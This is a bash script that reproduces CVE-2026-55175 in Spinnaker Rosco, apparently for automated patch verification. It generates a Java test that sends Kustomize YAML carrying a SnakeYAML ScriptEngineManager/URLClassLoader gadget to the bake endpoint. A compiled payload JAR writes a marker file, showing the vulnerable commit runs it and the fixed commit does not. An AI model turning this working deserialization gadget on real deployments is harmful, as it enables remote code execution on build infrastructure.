#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"
: > "$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

cd "$ROOT"

FIXED_COMMIT="f5cec213f8cf207843ed5a6929395960a1ca094f"
REPO_URL="https://github.com/spinnaker/spinnaker.git"
PROJECT_CACHE_DIR=""
REPO_MIRROR_DIR=""
PREPARED="false"
PROOF_CARRY_ENABLED="false"
if [[ -f "$ROOT/project_cache_context.json" ]]; then
  PREPARED="$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
  PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  REPO_MIRROR_DIR="$(jq -r '.repo_mirror_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  PROOF_CARRY_ENABLED="$(jq -r '.proof_carry.enabled // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo false)"
fi
if [[ "$PREPARED" == "true" && -n "$PROJECT_CACHE_DIR" ]]; then
  REPO="$PROJECT_CACHE_DIR/repo"
else
  PROJECT_CACHE_DIR="$ARTIFACTS/spinnaker-cache"
  REPO="$ARTIFACTS/spinnaker"
fi
GRADLE_USER_HOME_DIR="$PROJECT_CACHE_DIR/.gradle-cache"
mkdir -p "$PROJECT_CACHE_DIR" "$GRADLE_USER_HOME_DIR"

write_manifest() {
  local service_started="$1"
  local healthcheck_passed="$2"
  local target_path_reached="$3"
  local notes="$4"
  python3 - "$REPRO_DIR/runtime_manifest.json" "$service_started" "$healthcheck_passed" "$target_path_reached" "$notes" <<'PY'
import json, sys
path, service_started, healthcheck, target_reached, notes = sys.argv[1:]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/v2/manifest/bake/KUSTOMIZE on a real Rosco Spring Boot HTTP endpoint",
  "service_started": service_started == "true",
  "healthcheck_passed": healthcheck == "true",
  "target_path_reached": target_reached == "true",
  "runtime_stack": ["rosco-web", "rosco-manifests", "spring-boot-test-http-server", "wiremock-clouddriver-artifact-peer"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vulnerable_attempt_1.log",
    "logs/vulnerable_attempt_2.log",
    "logs/fixed_attempt_1.log",
    "logs/fixed_attempt_2.log",
    "repro/vulnerable_attempt_1.evidence.txt",
    "repro/vulnerable_attempt_2.evidence.txt",
    "repro/fixed_attempt_1.evidence.txt",
    "repro/fixed_attempt_2.evidence.txt"
  ],
  "notes": notes
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")
PY
}

copy_proof_carry() {
  if [[ "$PROOF_CARRY_ENABLED" == "true" && -n "$PROJECT_CACHE_DIR" && -d "$PROJECT_CACHE_DIR" ]]; then
    local slot="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt"
    mkdir -p "$slot/repro" "$slot/logs"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$slot/repro/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$slot/repro/runtime_manifest.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/validation_verdict.json" "$slot/repro/validation_verdict.json" 2>/dev/null || true
    cp -f "$REPRO_DIR/rca_report.md" "$slot/repro/rca_report.md" 2>/dev/null || true
    cp -f "$LOGS"/*.log "$slot/logs/" 2>/dev/null || true
  fi
}

finalize() {
  local rc=$?
  if [[ ! -f "$REPRO_DIR/runtime_manifest.json" ]]; then
    write_manifest false false false "script exited before runtime evidence was produced (exit=$rc)"
  fi
  copy_proof_carry || true
  exit "$rc"
}
trap finalize EXIT

write_manifest false false false "reproduction started; runtime evidence pending"

echo "[+] CVE-2026-55175 Spinnaker Rosco Kustomize unsafe YAML tag reproduction"
echo "[+] ROOT=$ROOT"
echo "[+] REPO=$REPO"
echo "[+] FIXED_COMMIT=$FIXED_COMMIT"

if ! command -v java >/dev/null 2>&1 || ! java -version 2>&1 | grep -Eq 'version "(11|17|21)\.|version "1\.(8|9)'; then
  echo "[+] Installing OpenJDK 17 because java is missing or unsuitable"
  sudo apt-get update
  sudo apt-get install -y openjdk-17-jdk
fi
if ! command -v javac >/dev/null 2>&1; then
  echo "[+] Installing OpenJDK 17 JDK because javac is missing"
  sudo apt-get update
  sudo apt-get install -y openjdk-17-jdk
fi
java -version
javac -version

if [[ ! -d "$REPO/.git" ]]; then
  mkdir -p "$(dirname "$REPO")"
  if [[ -n "$REPO_MIRROR_DIR" && -d "$REPO_MIRROR_DIR/spinnaker.git" ]]; then
    echo "[+] Cloning Spinnaker from prepared mirror"
    git clone "$REPO_MIRROR_DIR/spinnaker.git" "$REPO"
  else
    echo "[+] Cloning Spinnaker from GitHub"
    git clone "$REPO_URL" "$REPO"
  fi
fi

if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
  echo "[+] Fetching tags/commits needed for fixed commit"
  git -C "$REPO" fetch --tags origin
fi
VULN_COMMIT="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT")"
echo "[+] Resolved vulnerable commit: $VULN_COMMIT"
echo "[+] Resolved fixed commit: $FIXED_RESOLVED"

TEST_REL="rosco/rosco-web/src/test/java/com/netflix/spinnaker/rosco/controllers/CVE202655175ApiRemoteReproTest.java"
TEST_FILE="$REPO/$TEST_REL"
write_test_file() {
  mkdir -p "$(dirname "$TEST_FILE")"
  cat > "$TEST_FILE" <<'JAVA'
package com.netflix.spinnaker.rosco.controllers;

import static com.github.tomakehurst.wiremock.client.WireMock.aResponse;
import static com.github.tomakehurst.wiremock.client.WireMock.putRequestedFor;
import static com.github.tomakehurst.wiremock.client.WireMock.urlEqualTo;
import static com.github.tomakehurst.wiremock.client.WireMock.urlMatching;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;

import com.github.tomakehurst.wiremock.client.WireMock;
import com.github.tomakehurst.wiremock.junit5.WireMockExtension;
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
import com.netflix.spinnaker.rosco.Main;
import com.netflix.spinnaker.rosco.api.BakeStatus;
import com.netflix.spinnaker.rosco.executor.BakePoller;
import com.netflix.spinnaker.rosco.jobs.JobExecutor;
import com.netflix.spinnaker.rosco.jobs.JobRequest;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardOpenOption;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.RegisterExtension;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.test.context.DynamicPropertyRegistry;
import org.springframework.test.context.DynamicPropertySource;
import org.springframework.test.context.TestPropertySource;

@SpringBootTest(classes = Main.class, webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
@TestPropertySource(properties = {
    "spring.application.name=rosco",
    "services.redis.enabled=false",
    "redis.enabled=false"
})
class CVE202655175ApiRemoteReproTest {
  @RegisterExtension
  static WireMockExtension wm = WireMockExtension.newInstance().options(com.github.tomakehurst.wiremock.core.WireMockConfiguration.wireMockConfig().dynamicPort()).build();

  @DynamicPropertySource
  static void registerClouddriverBaseUrl(DynamicPropertyRegistry registry) {
    registry.add("services.clouddriver.base-url", wm::baseUrl);
  }

  @LocalServerPort int port;
  @Autowired org.springframework.context.ApplicationContext applicationContext;
  @MockBean BakePoller bakePoller;
  @MockBean JobExecutor jobExecutor;

  @Test
  void remoteKustomizeBakeEndpointProcessesUnsafeYamlTag() throws Exception {
    String mode = getenv("CVE_REPRO_MODE", "vulnerable");
    Path evidenceMarker = Path.of(getenv("CVE_EVIDENCE_MARKER", ""));
    if (evidenceMarker.toString().isEmpty()) {
      throw new IllegalStateException("CVE_EVIDENCE_MARKER environment variable is required");
    }
    Files.createDirectories(evidenceMarker.getParent());
    Files.deleteIfExists(evidenceMarker);
    Path payloadMarker = evidenceMarker.resolveSibling(evidenceMarker.getFileName().toString() + ".payload");
    Files.deleteIfExists(payloadMarker);

    Path payloadJar = buildPayloadJar(payloadMarker);
    String payloadUrl = payloadJar.toUri().toURL().toString();

    BakeStatus status = new BakeStatus();
    status.setId("cve-job");
    status.setState(BakeStatus.State.COMPLETED);
    status.setResult(BakeStatus.Result.SUCCESS);
    status.setOutputContent("kustomize bake job reached");
    when(jobExecutor.startJob(any(JobRequest.class))).thenReturn("cve-job");
    when(jobExecutor.updateJob("cve-job")).thenReturn(status);

    String yaml = "resources:\n"
        + "  - !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"" + payloadUrl + "\"]]]]\n";
    wm.stubFor(WireMock.put(urlMatching("/artifacts/fetch/"))
        .willReturn(aResponse().withStatus(200).withHeader("Content-Type", "text/plain").withBody(yaml)));

    String request = "{"
        + "\"templateRenderer\":\"KUSTOMIZE\","
        + "\"outputName\":\"cve-output\","
        + "\"outputArtifactName\":\"cve-output-artifact\","
        + "\"inputArtifact\":{"
        + "\"type\":\"github/file\","
        + "\"name\":\"root/kustomization.yaml\","
        + "\"reference\":\"https://attacker.example/root/kustomization.yaml\""
        + "}"
        + "}";

    HttpURLConnection conn = (HttpURLConnection) new URL("http://127.0.0.1:" + port + "/api/v2/manifest/bake/KUSTOMIZE").openConnection();
    conn.setRequestMethod("POST");
    conn.setDoOutput(true);
    conn.setConnectTimeout(10000);
    conn.setReadTimeout(60000);
    conn.setRequestProperty("Content-Type", "application/json");
    try (OutputStream os = conn.getOutputStream()) {
      os.write(request.getBytes(StandardCharsets.UTF_8));
    }
    int statusCode = conn.getResponseCode();
    String body = readBody(statusCode >= 400 ? conn.getErrorStream() : conn.getInputStream());

    List<LoggedRequest> requests = wm.findAll(putRequestedFor(urlEqualTo("/artifacts/fetch/")));
    boolean clouddriverReached = !requests.isEmpty();
    boolean payloadExecuted = Files.exists(payloadMarker);
    boolean unsafeTagMentioned = body.contains("ScriptEngineManager")
        || body.contains("URLClassLoader")
        || body.contains("could not determine a constructor for the tag")
        || body.contains("Cannot create property=resources")
        || body.contains("No suitable constructor")
        || body.contains("ClassCastException");

    String evidence = "mode=" + mode + "\n"
        + "status=" + statusCode + "\n"
        + "roscoPort=" + port + "\n"
        + "payloadUrl=" + payloadUrl + "\n"
        + "clouddriverReached=" + clouddriverReached + "\n"
        + "payloadExecuted=" + payloadExecuted + "\n"
        + "unsafeTagMentioned=" + unsafeTagMentioned + "\n"
        + "body=" + body + "\n";
    Files.writeString(evidenceMarker, evidence, StandardCharsets.UTF_8);
    System.out.println("CVE-2026-55175-EVIDENCE\n" + evidence);

    if (mode.equals("vulnerable")) {
      if (!(clouddriverReached && payloadExecuted)) {
        throw new AssertionError("Expected vulnerable Rosco endpoint to load and execute attacker YAML tag payload, but evidence was:\n" + evidence);
      }
    } else if (mode.equals("fixed")) {
      if (!(clouddriverReached && !payloadExecuted && statusCode >= 400)) {
        throw new AssertionError("Expected fixed Rosco endpoint to reject unsafe YAML tag without payload execution, but evidence was:\n" + evidence);
      }
    } else {
      throw new IllegalArgumentException("Unknown mode " + mode);
    }
  }

  private static String getenv(String name, String fallback) {
    String v = System.getenv(name);
    return v == null ? fallback : v;
  }

  private static String readBody(InputStream is) throws Exception {
    if (is == null) {
      return "";
    }
    try (InputStream in = is; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
      byte[] buf = new byte[4096];
      int n;
      while ((n = in.read(buf)) != -1) {
        out.write(buf, 0, n);
      }
      return out.toString(StandardCharsets.UTF_8.name());
    }
  }

  private static Path buildPayloadJar(Path marker) throws Exception {
    Path work = Files.createTempDirectory("cve-2026-55175-payload");
    Path srcDir = work.resolve("src/cve");
    Path classes = work.resolve("classes");
    Files.createDirectories(srcDir);
    Files.createDirectories(classes);
    String markerLiteral = marker.toString().replace("\\", "\\\\").replace("\"", "\\\"");
    String source = "package cve;\n"
        + "import javax.script.*;\n"
        + "import java.util.*;\n"
        + "import java.nio.file.*;\n"
        + "import java.nio.charset.StandardCharsets;\n"
        + "public class PwnFactory implements ScriptEngineFactory {\n"
        + "  public PwnFactory() { try { Files.write(Path.of(\"" + markerLiteral + "\"), (\"attacker ScriptEngineFactory executed\\n\").getBytes(StandardCharsets.UTF_8), StandardOpenOption.CREATE, StandardOpenOption.APPEND); } catch (Exception e) { throw new RuntimeException(e); } }\n"
        + "  public String getEngineName(){return \"cve\";} public String getEngineVersion(){return \"1\";}\n"
        + "  public List<String> getExtensions(){return Collections.emptyList();} public List<String> getMimeTypes(){return Collections.emptyList();} public List<String> getNames(){return Collections.singletonList(\"cve\");}\n"
        + "  public String getLanguageName(){return \"java\";} public String getLanguageVersion(){return \"17\";} public Object getParameter(String key){return null;}\n"
        + "  public String getMethodCallSyntax(String obj, String m, String... args){return null;} public String getOutputStatement(String toDisplay){return null;} public String getProgram(String... statements){return null;}\n"
        + "  public ScriptEngine getScriptEngine(){return null;}\n"
        + "}\n";
    Path src = srcDir.resolve("PwnFactory.java");
    Files.writeString(src, source, StandardCharsets.UTF_8);
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    if (compiler == null) {
      throw new IllegalStateException("JDK compiler is unavailable");
    }
    int rc = compiler.run(null, null, null, "-d", classes.toString(), src.toString());
    if (rc != 0) {
      throw new IllegalStateException("payload compilation failed with exit " + rc);
    }
    Path jar = work.resolve("payload.jar");
    try (JarOutputStream jos = new JarOutputStream(Files.newOutputStream(jar))) {
      addFile(jos, classes, classes.resolve("cve/PwnFactory.class"));
      jos.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory"));
      jos.write("cve.PwnFactory\n".getBytes(StandardCharsets.UTF_8));
      jos.closeEntry();
    }
    return jar;
  }

  private static void addFile(JarOutputStream jos, Path root, Path file) throws Exception {
    String name = root.relativize(file).toString().replace(File.separatorChar, '/');
    jos.putNextEntry(new JarEntry(name));
    Files.copy(file, jos);
    jos.closeEntry();
  }
}
JAVA
}

run_attempt() {
  local mode="$1"
  local attempt="$2"
  local commit="$3"
  local log="$LOGS/${mode}_attempt_${attempt}.log"
  local evidence="$REPRO_DIR/${mode}_attempt_${attempt}.evidence.txt"
  echo "[+] Running $mode attempt $attempt on commit $commit"
  rm -f "$evidence" "$evidence.payload"
  (cd "$REPO" && \
    GRADLE_USER_HOME="$GRADLE_USER_HOME_DIR" JAVA_TOOL_OPTIONS="-XX:ActiveProcessorCount=2" CVE_REPRO_MODE="$mode" CVE_EVIDENCE_MARKER="$evidence" \
    timeout 900 ./gradlew --no-daemon --max-workers=2 --rerun-tasks :rosco:rosco-web:test --tests com.netflix.spinnaker.rosco.controllers.CVE202655175ApiRemoteReproTest) \
    > "$log" 2>&1
  cat "$log"
  if [[ ! -s "$evidence" ]]; then
    echo "[!] Missing evidence marker $evidence"
    return 1
  fi
  echo "[+] Evidence from $mode attempt $attempt:"
  cat "$evidence"
}

checkout_prepare() {
  local commit="$1"
  echo "[+] Checking out $commit"
  rm -f "$TEST_FILE"
  git -C "$REPO" checkout -f "$commit"
  local head
  head="$(git -C "$REPO" rev-parse HEAD)"
  if [[ "$head" != "$commit" ]]; then
    echo "[!] Expected HEAD $commit but got $head"
    return 1
  fi
  write_test_file
  chmod +x "$REPO/gradlew"
}

# Verify the fixed commit contains the patch and the parent lacks it.
checkout_prepare "$VULN_COMMIT"
if ! grep -q 'new Yaml(new Constructor(Kustomization.class)' "$REPO/rosco/rosco-manifests/src/main/java/com/netflix/spinnaker/rosco/manifests/kustomize/KustomizationFileReader.java"; then
  echo "[!] Vulnerable checkout does not contain expected unsafe Constructor(Kustomization.class) code"
  exit 1
fi
if grep -q 'SafeConstructor' "$REPO/rosco/rosco-manifests/src/main/java/com/netflix/spinnaker/rosco/manifests/kustomize/KustomizationFileReader.java"; then
  echo "[!] Vulnerable checkout unexpectedly contains SafeConstructor"
  exit 1
fi
run_attempt vulnerable 1 "$VULN_COMMIT"
run_attempt vulnerable 2 "$VULN_COMMIT"

checkout_prepare "$FIXED_RESOLVED"
if ! grep -q 'SafeConstructor' "$REPO/rosco/rosco-manifests/src/main/java/com/netflix/spinnaker/rosco/manifests/kustomize/KustomizationFileReader.java"; then
  echo "[!] Fixed checkout does not contain SafeConstructor patch"
  exit 1
fi
if ! grep -q 'objectMapper.convertValue(rawMap, Kustomization.class)' "$REPO/rosco/rosco-manifests/src/main/java/com/netflix/spinnaker/rosco/manifests/kustomize/KustomizationFileReader.java"; then
  echo "[!] Fixed checkout does not contain Jackson convertValue mapping patch"
  exit 1
fi
run_attempt fixed 1 "$FIXED_RESOLVED"
run_attempt fixed 2 "$FIXED_RESOLVED"

if grep -q 'payloadExecuted=true' "$REPRO_DIR/vulnerable_attempt_1.evidence.txt" \
  && grep -q 'payloadExecuted=true' "$REPRO_DIR/vulnerable_attempt_2.evidence.txt" \
  && grep -q 'clouddriverReached=true' "$REPRO_DIR/vulnerable_attempt_1.evidence.txt" \
  && grep -q 'clouddriverReached=true' "$REPRO_DIR/vulnerable_attempt_2.evidence.txt" \
  && grep -q 'payloadExecuted=false' "$REPRO_DIR/fixed_attempt_1.evidence.txt" \
  && grep -q 'payloadExecuted=false' "$REPRO_DIR/fixed_attempt_2.evidence.txt" \
  && grep -q 'clouddriverReached=true' "$REPRO_DIR/fixed_attempt_1.evidence.txt" \
  && grep -q 'clouddriverReached=true' "$REPRO_DIR/fixed_attempt_2.evidence.txt"; then
  write_manifest true true true "Confirmed: vulnerable Rosco Kustomize bake endpoint executes attacker-controlled YAML tag payload twice; fixed commit rejects the tag twice without payload execution. Fixed commit $FIXED_RESOLVED, vulnerable parent $VULN_COMMIT."
  if [[ "$PROOF_CARRY_ENABLED" == "true" && -n "$PROJECT_CACHE_DIR" ]]; then
    confirmed="$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed"
    mkdir -p "$confirmed/repro" "$confirmed/logs"
    cp -f "$REPRO_DIR/reproduction_steps.sh" "$confirmed/repro/reproduction_steps.sh" 2>/dev/null || true
    cp -f "$REPRO_DIR/runtime_manifest.json" "$confirmed/repro/runtime_manifest.json" 2>/dev/null || true
    cp -f "$LOGS"/*.log "$confirmed/logs/" 2>/dev/null || true
  fi
  echo "[+] CVE-2026-55175 confirmed"
  exit 0
fi

write_manifest true true false "Not confirmed: expected vulnerable/fixed evidence markers were not all present"
echo "[!] CVE-2026-55175 was not reproduced"
exit 1
